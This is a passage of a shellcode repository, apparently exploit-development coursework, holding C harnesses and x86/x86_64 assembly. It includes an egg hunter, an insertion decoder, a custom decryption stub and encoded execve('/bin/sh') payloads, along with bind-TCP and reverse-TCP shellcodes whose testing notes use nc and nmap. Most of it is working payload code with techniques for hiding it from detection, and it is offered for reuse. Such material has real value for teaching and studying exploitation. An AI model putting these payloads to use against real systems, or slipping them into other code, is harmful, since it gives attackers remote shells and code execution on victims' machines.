| * 38 bytes 29 | * null-free if egg signature is 30 | 31 | 32 | # gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode 33 | 34 | Testing 35 | # ./egg_hunter_shellcode 36 | 37 | */ 38 | 39 | 40 | #include 41 | #include 42 | 43 | unsigned char egg[] = \ 44 | 45 | // Write "Egg Mark" and exit 46 | 47 | "\x90\x50\x90\x50" // <- First Four Bytes of Signature 48 | "\x90\x50\x90\x50" // <- Same first bytes are mandatory 49 | "\x31\xdb" 50 | "\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72" 51 | "\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1" 52 | "\xb2\x09\xcd\x80\xb0\x01\xcd\x80"; 53 | 54 | unsigned char egghunter[] = \ 55 | 56 | // Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...) 57 | 58 | "\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f" 59 | "\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c" 60 | "\xf2\x74\xee\xb8" 61 | "\x90\x50\x90\x50" // <- Signature 62 | "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"; 63 | 64 | 65 | main () 66 | { 67 | 68 | // When contains null bytes, printf will show a wrong shellcode length. 69 | 70 | printf("Shellcode Length: %d\n", strlen(egghunter)); 71 | 72 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 73 | 74 | __asm__ ("movl $0xffffffff, %eax\n\t" 75 | "movl %eax, %ebx\n\t" 76 | "movl %eax, %ecx\n\t" 77 | "movl %eax, %edx\n\t" 78 | "movl %eax, %esi\n\t" 79 | "movl %eax, %edi\n\t" 80 | "movl %eax, %ebp\n\t" 81 | 82 | // Setting the egg hunter signature to search (byte reverse order) 83 | 84 | "movl $0x50905090, (egghunter+24)\n\t" 85 | 86 | // Calling the shellcode 87 | "call egghunter"); 88 | 89 | } 90 | -------------------------------------------------------------------------------- /4th.assignment/insertion_decoder_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Insertion Decoder Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | insertion_decoder_shellcode 27 | 28 | * decoder has 33 bytes (the final amount depends on the shellcode length plus garbage bytes) 29 | * null-free 30 | * decodes any pattern of garbage insertion 31 | Eg: True Byte = X, Garbage Byte = _ 32 | _ X _ X _ ... 33 | X _ _ X X ... 34 | X X X _ _ ... 35 | 36 | 37 | # gcc -m32 -fno-stack-protector -z execstack insertion_decoder_shellcode.c -o insertion_decoder_shellcode 38 | 39 | Testing 40 | # ./insertion_decoder_shellcode 41 | 42 | */ 43 | 44 | 45 | #include 46 | #include 47 | 48 | unsigned char shellcode[] = \ 49 | 50 | // Shellcode Decoder (33 bytes) 51 | "\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e" 52 | "\x41\x66\x81\xfb" 53 | "\xf1\xf1" // <- End Signature 54 | "\x74\x0f\x80\xfb" 55 | "\x3f" // <- Garbage Byte 56 | "\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff" 57 | "\xff\xff" 58 | 59 | // Encoded shellcode (length depends of the shellcode plus garbage bytes) 60 | "\x3f\x3f\x3f\x31\x3f\xc9\x3f\xf7\xe1\x3f" 61 | "\xb0\x0b\x3f\x51\x68\x3f\x2f\x2f\x3f\x73" 62 | "\x68\x3f\x68\x2f\x3f\x62\x69\x3f\x6e\x89" 63 | "\x3f\xe3\xcd\x3f\x80\xf1\xf1"; 64 | 65 | 66 | main () 67 | { 68 | 69 | // When contains null bytes, printf will show a wrong shellcode length. 70 | 71 | printf("Shellcode Length: %d\n", strlen(shellcode)); 72 | 73 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 74 | 75 | __asm__ ("movl $0xffffffff, %eax\n\t" 76 | "movl %eax, %ebx\n\t" 77 | "movl %eax, %ecx\n\t" 78 | "movl %eax, %edx\n\t" 79 | "movl %eax, %esi\n\t" 80 | "movl %eax, %edi\n\t" 81 | "movl %eax, %ebp\n\t" 82 | 83 | // Calling the shellcode 84 | "call shellcode"); 85 | 86 | } 87 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_random_port_shellcode_x86_64.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Shell Bind TCP Random Port Shellcode - C Language - Linux/x86_64 4 | Copyright (C) 2021 Geyslan G. Bem, Hacking bits 5 | All rights reserved. 6 | 7 | http://hackingbits.github.io 8 | geyslan@gmail.com 9 | 10 | This program is free software: you can redistribute it and/or modify 11 | it under the terms of the GNU General Public License as published by 12 | the Free Software Foundation, either version 3 of the License, or 13 | (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, 16 | but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | GNU General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program. If not, see 22 | 23 | */ 24 | 25 | /* 26 | 27 | tiny_shell_bind_tcp_random_port_shellcode_x86_64 28 | assembly source: 29 | https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm 30 | 31 | * 51 bytes 32 | * null-free 33 | 34 | 35 | # gcc -m64 -fno-stack-protector -z execstack \ 36 | tiny_shell_bind_tcp_random_port_shellcode_x86_64.c -o \ 37 | tiny_shell_bind_tcp_random_port_shellcode_x86_64 38 | 39 | Testing 40 | First terminal 41 | # ./tiny_shell_bind_tcp_random_port_shellcode_x86_64 42 | Second terminal (Discover the port and connect) 43 | # netstat -anp | grep shell 44 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS], 45 | avoiding nmap to connect to the port open by shellcode) 46 | # nc 127.0.0.1 port 47 | */ 48 | 49 | #include 50 | #include 51 | 52 | int main(void) 53 | { 54 | const char code[] = 55 | 56 | "\x6a\x29\x58\x99\x6a\x01\x5e\x6a\x02\x5f" 57 | "\x0f\x05\x97\xb0\x32\x0f\x05\x96\xb0\x2b" 58 | "\x0f\x05\x97\x96\xff\xce\x6a\x21\x58\x0f" 59 | "\x05\x75\xf7\x52\x48\xbf\x2f\x2f\x62\x69" 60 | "\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f" 61 | "\x05"; 62 | 63 | // When contains null bytes, printf will show a wrong shellcode length. 64 | printf("Shellcode Length: %ld\n", strlen(code)); 65 | 66 | // Pollutes all registers ensuring that the shellcode runs in any 67 | // circumstance. 68 | __asm__("lea %[code], %%r15\n\t" 69 | "mov $0xffffffffffffffff, %%rax\n\t" 70 | "mov %%rax, %%rbx\n\t" 71 | "mov %%rax, %%rcx\n\t" 72 | "mov %%rax, %%rdx\n\t" 73 | "mov %%rax, %%rsi\n\t" 74 | "mov %%rax, %%rdi\n\t" 75 | "mov %%rax, %%rbp\n\t" 76 | "call *%%r15\n\t" 77 | : /* no outputs */ 78 | : [code] "m"(code)); 79 | } 80 | -------------------------------------------------------------------------------- /7th.assignment/uzumaki_decrypter.asm: -------------------------------------------------------------------------------- 1 | ; Uzumaki Decrypter - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; uzumaki_decrypter 22 | ; 23 | ; * decrypter has 29 bytes (the final amount depends on the shellcode length) 24 | ; * it decrypts the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] ) 25 | ; * null-free 26 | ; 27 | ; 28 | ; # nasm -f elf32 uzumaki_decrypter.asm 29 | ; # ld -m elf_i386 uzumaki_decrypter.o -o uzumaki_decrypter 30 | ; # for i in $(objdump -d uzumaki_decrypter |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 31 | ; 32 | ; Testing 33 | ; "This binary will not work, because it attempts to modify the text segment where relies the ciphed shellcode" 34 | ; "To test, extract the shellcode of this compiled binary and launch it from another" 35 | 36 | 37 | global _start 38 | 39 | section .text 40 | 41 | _start: 42 | sub ecx, ecx ; zero-ing ecx reg 43 | jz short shellcode ; always jumping to the shellcode (see flags affecteds by sub instruction - ZF) 44 | mainflow: 45 | pop esi ; retrieving the shellcode address 46 | mov cl, 20 ; adjusting the loop counter (shellcode length - 1) 47 | decipher: 48 | inc esi ; analyzing the next offset 49 | mov eax, dword [esi] ; copying bytes from offset to eax 50 | sub eax, 1 ; subtracting ciphed byte of defined static value (ADD) 51 | xor al, 0xcc ; xoring ciphed byte with defined static value (XOR) 52 | xor al, byte [esi - 1] ; xoring ciphed byte with pseudorandom key value (deciphed previous byte) 53 | 54 | mov byte [esi], al ; replacing the crypted byte by the decrypted one 55 | loop decipher ; loop 56 | jmp short execve ; jmp to the shellcode when the loop ends 57 | shellcode: 58 | call mainflow ; returning to the mainflow and putting the next eip into the stack 59 | ; crypted execve /bin/sh 60 | execve: db 0x31,0x35,0xf3,0xdb,0x9e,0x78,0x97,0xf6,0x8c,0xcd 61 | db 0x91,0xd8,0xcd,0x8c,0x82,0xc8,0xcc,0x2c,0xa7,0xe3 62 | db 0x82 63 | -------------------------------------------------------------------------------- /4th.assignment/insertion_decoder.asm: -------------------------------------------------------------------------------- 1 | ; Insertion Decoder - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; insertion_decoder 22 | ; 23 | ; * decoder has 33 bytes (the final amount depends on the shellcode length plus garbage bytes) 24 | ; * null-free 25 | ; * decodes any pattern of garbage insertion 26 | ; Eg: True Byte = X, Garbage Byte = _ 27 | ; _ X _ X _ ... 28 | ; X _ _ X X ... 29 | ; X X X _ _ ... 30 | ; 31 | ; 32 | ; # nasm -f elf32 insertion_decoder.asm 33 | ; # ld -m elf_i386 insertion_decoder.o -o insertion_decoder 34 | ; 35 | ; Testing 36 | ; "This binary will not work, because it attempts to modify the text segment where relies the encoded shellcode" 37 | ; "To test, extract the shellcode of this compiled binary and launch it from another" 38 | 39 | 40 | 41 | global _start 42 | 43 | section .text 44 | 45 | _start: 46 | jmp getaddress 47 | 48 | mainflow: 49 | pop esi ; extract the address of the shellcode from stack 50 | lea edi, [esi] ; load the shellcode address in edi to use in loop 51 | xor ecx, ecx ; zero the counter 52 | 53 | decoder: 54 | mov ebx, dword [esi + ecx] ; copy the two next bytes to ebx 55 | inc ecx ; let's read the next byte in the next loop 56 | 57 | cmp bx, 0xF1F1 ; compares with the signature in the shellcode's end 58 | je short execve ; is shellcode's end? if yes, run it 59 | 60 | cmp bl, 0x3F ; compares with the garbage byte (0x3F) AAS instruction 61 | ; 3F is the least used opcode as analyzed here http://z0mbie.host.sk/opcodes.html (I know that it's a PE) 62 | 63 | je short decoder ; is an inserted garbage byte? if yes continue looping and trying to find a good one 64 | 65 | mov byte [edi], bl ; when isn't garbage, copy the byte to the correct address 66 | inc edi ; let's to set the next byte of the shellcode 67 | jmp short decoder ; continue decoding 68 | 69 | getaddress: 70 | call mainflow ; call back just to get the eip (address of the coded execve below) 71 | execve: db 0x3F, 0x3F, 0x3F, 0x31, 0x3F, 0xc9, 0x3F, 0xf7, 0xe1, 0x3F 72 | db 0xb0, 0x0b, 0x3F, 0x51, 0x68, 0x3F, 0x2f, 0x2f, 0x3F, 0x73 73 | db 0x68, 0x3F, 0x68, 0x2f, 0x3F, 0x62, 0x69, 0x3F, 0x6e, 0x89 74 | db 0x3F, 0xe3, 0xcd, 0x3F, 0x80 75 | db 0xF1, 0xF1 ; the two last bytes are the stop signature 76 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_getpc.asm: -------------------------------------------------------------------------------- 1 | ; Shell Bind TCP (GetPC/Call/Ret Method) - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; shell_bind_tcp_getpc 22 | ; 23 | ; * 89 bytes 24 | ; * null-bytes free 25 | ; * uses GetPC method for fun and profit 26 | ; 27 | ; 28 | ; # nasm -f elf32 shell_bind_tcp_getpc.asm -o shell_bind_tcp_getpc.o 29 | ; # ld -m elf_i386 shell_bind_tcp_getpc.o -o shell_bind_tcp_getpc 30 | ; # ./shell_bind_tcp_getpc 31 | ; 32 | ; Testing 33 | ; # nc 127.0.0.1 11111 34 | 35 | 36 | global _start 37 | 38 | section .text 39 | 40 | _start: 41 | 42 | call $+4 43 | ret 44 | pop ebp 45 | 46 | ; opcode value is counted starting in the pop ebp offset until interruption offset 47 | lea ebp, [ebp+74] 48 | 49 | ; Creating the socket file descriptor 50 | ; socket(2, 1, 0) 51 | 52 | xor eax, eax 53 | 54 | cdq 55 | push 1 56 | pop ebx 57 | 58 | ; socket arguments 59 | push edx 60 | push ebx 61 | push 2 62 | 63 | call ebp 64 | 65 | ; Biding the socket with an address type 66 | ; bind(sockfd, [2, port, 0], 16) 67 | 68 | xchg esi, eax 69 | 70 | pop ebx 71 | 72 | ; sockaddr_in struct 73 | push edx 74 | push WORD 0x672b ; port number 75 | push bx 76 | 77 | mov ecx, esp 78 | 79 | ; bind arguments 80 | push 16 81 | push ecx 82 | push esi 83 | 84 | call ebp 85 | 86 | ; Preparing to listen the incoming connection (passive socket) 87 | ; listen(sockfd, 0) 88 | 89 | inc ebx 90 | inc ebx 91 | 92 | push edx 93 | push esi 94 | 95 | call ebp 96 | 97 | ; Accepting the incoming connection 98 | ; accept(sockfd, 0, 0) 99 | 100 | inc ebx 101 | 102 | push edx 103 | push edx 104 | push esi 105 | 106 | call ebp 107 | 108 | 109 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 110 | ; dup2 (clientfd, fd) 111 | 112 | xchg eax, ebx 113 | pop ecx 114 | 115 | dup_loop: 116 | mov al, 63 117 | int 0x80 118 | 119 | dec ecx 120 | jns dup_loop ; looping (2, 1, 0) 121 | 122 | 123 | ; Finally, using execve to substitute the actual process with /bin/sh 124 | ; execve("/bin/sh", ["/bin/sh", 0], 0) 125 | mov al, 11 126 | 127 | push edx 128 | push 0x68732f2f ; "//sh" 129 | push 0x6e69622f ; "/bin" 130 | 131 | mov ebx, esp 132 | push edx 133 | push ebx 134 | 135 | jmp final 136 | 137 | 138 | interruption: 139 | 140 | pop edi 141 | 142 | push 102 143 | pop eax 144 | 145 | final: 146 | mov ecx, esp 147 | int 0x80 148 | 149 | push edi 150 | 151 | ret 152 | -------------------------------------------------------------------------------- /improvements/x86_execve_dyn.asm: -------------------------------------------------------------------------------- 1 | ; execve Dynamic - Assembly Language - Linux/x86 2 | ; Copyright (c) 2021, Geyslan G. Bem, Hacking bits 3 | ; All rights reserved. 4 | ; 5 | ; http://hackingbits.github.io 6 | ; geyslan@gmail.com 7 | ; 8 | ; Redistribution and use in source and binary forms, with or without 9 | ; modification, are permitted provided that the following conditions 10 | ; are met: 11 | ; 12 | ; * Redistributions of source code must retain the above copyright 13 | ; notice, this list of conditions and the following disclaimer. 14 | ; 15 | ; * Redistributions in binary form must reproduce the above 16 | ; copyright notice, this list of conditions and the following 17 | ; disclaimer in the documentation and/or other materials provided 18 | ; with the distribution. 19 | ; 20 | ; * Neither the name of the Geyslan G. Bem nor the names of its 21 | ; contributors may be used to endorse or promote products derived 22 | ; from this software without specific prior written permission. 23 | 24 | ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 27 | ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 28 | ; COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 29 | ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, 30 | ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 32 | ; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 33 | ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 34 | ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 35 | ; POSSIBILITY OF SUCH DAMAGE. 36 | 37 | 38 | ; x86_execve_dyn 39 | ; 40 | ; * 47 bytes (without dynamic command) 41 | ; * null-free 42 | ; 43 | ; 44 | ; # nasm -f elf32 x86_execve_dyn.asm 45 | ; # ld -m elf_i386 x86_execve_dyn.o -o x86_execve_dyn 46 | ; 47 | ; Testing 48 | ; # ./x86_execve_dyn 49 | 50 | global _start 51 | 52 | section .text 53 | 54 | _start: 55 | xor ebx, ebx 56 | mul ebx ; zero ebx, eax and edx; envp[] = edx = NULL 57 | mov al, 11 ; execve() syscall 58 | 59 | push edx ; NULL pointer 60 | push word 0x632d ; "-c" 61 | mov edi, esp ; edi = pointer to "-c\0" string 62 | jmp getpc 63 | code: 64 | pop esi ; esi = pointer to dynamic command string 65 | mov byte bl, cmdlen ; put cmd length (displacement) into ebx 66 | ; mov word bx, 0x0101 67 | mov [esi+ebx], dl ; put '\0' at the end of the command string 68 | 69 | push edx ; NULL pointer 70 | push 0x68732f2f ; "//sh" 71 | push 0x6e69622f ; "/bin" 72 | mov ebx, esp ; ebx = pointer to "/bin//sh\0" string 73 | 74 | push edx ; NULL pointer 75 | push esi ; pointer to dynamic command 76 | push edi ; pointer to "-c\0" 77 | push ebx ; pointer to "/bin//sh\0" 78 | mov ecx, esp ; argv["/bin//sh\0", "-c\0", "dynamic cmd"] = ecx 79 | int 0x80 ; bingo 80 | 81 | ; for build the shellcode comment the line below (section .data) 82 | ; for test this assembly let it uncommented. 83 | section .data 84 | 85 | getpc: 86 | call code ; return to code saving pc (dynamic cmd pointer) into the stack 87 | string: 88 | db "uname -a" 89 | cmdlen equ $ - string 90 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_random_port_shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Shell Bind TCP Random Port Shellcode - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; shell_bind_tcp_random_port_shellcode 22 | ; 23 | ; * 65 bytes 24 | ; * null-bytes free 25 | ; * the port number is set by the system and can be discovered using nmap 26 | ; (see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6) 27 | ; 28 | ; 29 | ; # nasm -f elf32 shell_bind_tcp_random_port_shellcode.asm -o shell_bind_tcp_random_port_shellcode.o 30 | ; # ld -m elf_i386 shell_bind_tcp_random_port_shellcode.o -o shell_bind_tcp_random_port_shellcode 31 | ; # ./shell_bind_tcp_random_port_shellcode 32 | ; 33 | ; Testing 34 | ; # netstat -anp | grep shell 35 | ; # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 36 | ; # nc 127.0.0.1 port 37 | 38 | 39 | global _start 40 | 41 | section .text 42 | 43 | _start: 44 | 45 | 46 | ; syscalls (/usr/include/asm/unistd_32.h) 47 | ; socketcall numbers (/usr/include/linux/net.h) 48 | 49 | ; Creating the socket file descriptor 50 | ; int socket(int domain, int type, int protocol); 51 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 52 | 53 | 54 | push 102 55 | pop eax 56 | cdq 57 | 58 | push 1 59 | pop ebx 60 | 61 | push edx 62 | push ebx 63 | push 2 64 | 65 | finalint: 66 | 67 | mov ecx, esp 68 | int 0x80 69 | 70 | mov esi, eax 71 | 72 | pop edi 73 | 74 | 75 | ; There's no need of binding the socket (Posix Socket Inteface) 76 | 77 | 78 | ; Preparing to listen the incoming connection (passive socket) 79 | ; int listen(int sockfd, int backlog); 80 | ; listen(sockfd, 0); 81 | 82 | mov al, 102 83 | mov bl, 4 84 | 85 | push edx 86 | push esi 87 | 88 | mov ecx, esp 89 | 90 | int 0x80 91 | 92 | 93 | ; Accepting the incoming connection 94 | ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 95 | ; accept(sockfd, NULL, NULL) 96 | 97 | mov al, 102 98 | inc ebx 99 | 100 | mov [esp+8], edx 101 | 102 | int 0x80 103 | 104 | xchg eax, ebx 105 | 106 | 107 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 108 | ; int dup2(int oldfd, int newfd); 109 | ; dup2 (clientfd, ...) 110 | 111 | ; mov ecx, edi 112 | 113 | pop ecx 114 | 115 | dup_loop: 116 | mov al, 63 117 | int 0x80 118 | 119 | dec ecx 120 | jns dup_loop 121 | 122 | 123 | ; Finally, using execve to substitute the actual process with /bin/sh 124 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 125 | ; exevcve("/bin/sh", NULL, NULL) 126 | 127 | mov al, 11 128 | 129 | push edx 130 | push 0x68732f2f 131 | push 0x6e69622f 132 | 133 | mov ebx, esp 134 | push edx 135 | push ebx 136 | 137 | jmp finalint 138 | -------------------------------------------------------------------------------- /2nd.assignment/shell_reverse_tcp.asm: -------------------------------------------------------------------------------- 1 | ; Shell Reverse TCP Shellcode - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; shell_reverse_tcp 22 | ; 23 | ; * 72 bytes 24 | ; * null-bytes free if the address and port are 25 | ; 26 | ; 27 | ; # nasm -f elf32 shell_reverse_tcp.asm -o shell_reverse_tcpl.o 28 | ; # ld -m elf_i386 shell_reverse_tcp.o -o shell_reverse_tcp 29 | ; 30 | ; Testing 31 | ; # nc -l 127.1.1.1 55555 32 | ; # ./shell_reverse_tcp 33 | 34 | 35 | global _start 36 | 37 | section .text 38 | 39 | _start: 40 | 41 | ; host 42 | push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order 43 | pop esi 44 | 45 | ; port 46 | push WORD 0x03d9 ; Port Number 55555 in hex reverse order 47 | pop edi 48 | 49 | 50 | ; syscalls (/usr/include/asm/unistd_32.h) 51 | ; socketcall numbers (/usr/include/linux/net.h) 52 | 53 | ; Creating the socket file descriptor 54 | ; int socket(int domain, int type, int protocol); 55 | ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) 56 | 57 | push 102 58 | pop eax ; syscall 102 - socketcall 59 | cdq 60 | 61 | push 1 62 | pop ebx ; socketcall type (sys_socket 1) 63 | 64 | push edx ; IPPROTO_IP = 0 (int) 65 | push ebx ; SOCK_STREAM = 1 (int) 66 | push 2 ; AF_INET = 2 (int) 67 | 68 | finalint: 69 | 70 | mov ecx, esp ; ptr to argument array 71 | int 0x80 ; kernel interruption 72 | 73 | xchg ebx, eax ; set ebx with the sockfd 74 | 75 | 76 | ; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) 77 | ; int dup2(int oldfd, int newfd); 78 | ; dup2 (clientfd, ...) 79 | 80 | pop ecx 81 | 82 | dup_loop: 83 | mov al, 63 ; syscall 63 - dup2 84 | int 0x80 85 | 86 | dec ecx 87 | jns dup_loop 88 | 89 | 90 | ; Connecting the duplicated file descriptor to the host 91 | ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 92 | ; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16) 93 | 94 | mov al, 102 ; syscall 102 - socketcall 95 | ; socketcall type (sys_connect) 3 - ebx already has it 96 | 97 | ; host address structure 98 | push esi ; IP number 99 | push di ; port in byte reverse order = 55555 (uint16_t) 100 | push WORD 2 ; AF_INET = 2 (unsigned short int) 101 | mov ecx, esp ; struct pointer 102 | 103 | ; connect arguments 104 | push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) 105 | push ecx ; sockaddr_in struct pointer (struct sockaddr *) 106 | push ebx ; socket fd (int) 107 | 108 | mov ecx, esp 109 | 110 | int 0x80 111 | 112 | ; Finally, using execve to substitute the actual process with /bin/sh 113 | ; int execve(const char *filename, char *const argv[], char *const envp[]); 114 | ; exevcve("/bin/sh", NULL, NULL) 115 | 116 | mov al, 11 ; execve syscall 117 | 118 | ; execve string argument 119 | push edx ; null-byte 120 | push 0x68732f2f ; "//sh" 121 | push 0x6e69622f ; "/bin" 122 | 123 | mov ebx, esp ; ptr to ["bin//sh", NULL] string 124 | push edx ; null ptr to argv 125 | push ebx ; null ptr to envp 126 | 127 | jmp finalint ; and jump to bingo 128 | -------------------------------------------------------------------------------- /1st.assignment/shell_bind_tcp_shellcode.asm: -------------------------------------------------------------------------------- 1 | ; Shell Bind TCP Shellcode - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; shell_bind_tcp_shellcode 22 | ; 23 | ; * 103 bytes 24 | ; * null-bytes free 25 | ; * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT) 26 | ; * the port number is easily changeable (3th and 4th bytes of the shellcode) 27 | ; 28 | ; 29 | ; # nasm -f elf32 shell_bind_tcp_shellcode.asm -o shell_bind_tcp_shellcode.o -g 30 | ; # ld -m elf_i386 shell_bind_tcp_shellcode.o -o shell_bind_tcp_shellcode 31 | ; # ./shell_bind_tcp_shellcode 32 | ; 33 | ; Testing 34 | ; # nc 127.0.0.1 11111 35 | 36 | 37 | global _start 38 | 39 | section .text 40 | 41 | _start: 42 | 43 | ; Setting port number 44 | 45 | mov bp, 0x672b ; port in byte reverse order = 11111 46 | 